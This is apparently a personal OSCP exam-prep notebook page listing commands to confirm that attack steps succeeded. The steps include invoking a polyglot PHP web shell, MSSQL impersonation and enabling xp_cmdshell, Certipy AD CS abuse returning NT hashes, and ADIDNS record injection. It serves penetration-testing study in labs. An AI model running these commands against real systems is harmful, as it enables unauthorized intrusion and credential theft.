Pearson's OSCP Notebook

Verify

Properties1
tagsreference, verify, validation, oscp, checklist

3 min read

Verify — Did It Work?

Quick commands to confirm a step succeeded before moving on. Ctrl+F by scenario.

📌 Active Directory — group membership

Confirm a controlled user is in a target group (e.g. after ACL abuse, GPO, or manual add):

net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
# Alternative — rpcclient
rpcclient -U "DOMAIN/ControlledUser%Password" DomainController -c "querygroup TargetGroup"
# From Linux with creds
nxc ldap DC_IP -u user -p pass --groups
ldapsearch -x -H ldap://DC_IP -D "user@domain.htb" -w 'PASS' -b "CN=TargetGroup,CN=Users,DC=domain,DC=htb" member

📌 File upload / polyglot

file uploaded_shell.php.png          # Should report image type (PNG/JPEG/GIF)
xxd -l 8 uploaded_shell.php.png      # Check magic bytes
curl "http://TARGET/uploads/shell.php.png?cmd=id"   # Command output = success

📌 Hash / crack verification

# Confirm hash mode before cracking
hashcat --example-hashes | grep -i werkzeug
hashcat --help | grep -i -A2 -B2 pbkdf2
 
# Confirm crack succeeded
hashcat -m MODE hashes.txt --show
 
# Manually verify plaintext → hash
echo -n 'password' | md5sum

→ Manual Hash Generation · Hashcat

📌 MSSQL — impersonation & shell

# Connect first — domain cred needs -windows-auth
impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@TARGET -windows-auth

Inside impacket-mssqlclient:

enum_impersonate           # Lists IMPERSONATE targets
exec_as_login sa           # Should change context
SELECT SYSTEM_USER;        # Confirms new identity
enable_xp_cmdshell
xp_cmdshell whoami         # OS command output = success
REVERT

SELECT IS_SRVROLEMEMBER('sysadmin');   -- 1 = sysadmin
EXEC sp_configure 'xp_cmdshell';       -- run_value = 1 = enabled

→ MSSQL · mssqlclient

📌 Kerberos / AD CS

klist                              # Ticket in cache?
certipy-ad find -u user@domain.htb -p 'PASS' -dc-ip DC_IP -vulnerable
grep -i ESC *_Certipy.txt          # Vuln flags in report file
 
# After cert auth
certipy-ad auth -pfx admin.pfx -domain domain.htb   # Returns NT hash on success

→ Time Sync if Kerberos fails (clock skew)

📌 ADIDNS — record added?

# Confirm A record resolves to your IP
dig @DC_IP web1.domain.htb +short
host web1.domain.htb DC_IP
 
# Dump AD DNS via LDAP
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get dnsDump | grep -i web1

→ krbrelayx · DNS (dig & host)

📌 Shell / access

# WinRM
evil-winrm -i TARGET -u user -p 'PASS' -c 'whoami; hostname'
 
# SMB auth
nxc smb TARGET -u user -p pass
smbclient //TARGET/share -U user%pass -c 'ls'
 
# SSH
ssh user@TARGET 'id; hostname'
 
# Web shell
curl -s "http://TARGET/shell.php?cmd=id"

📌 Privilege / identity

# Linux
id
sudo -l
 
# Windows (cmd)
whoami /priv
whoami /groups
net user %username%

Graph View

Backlinks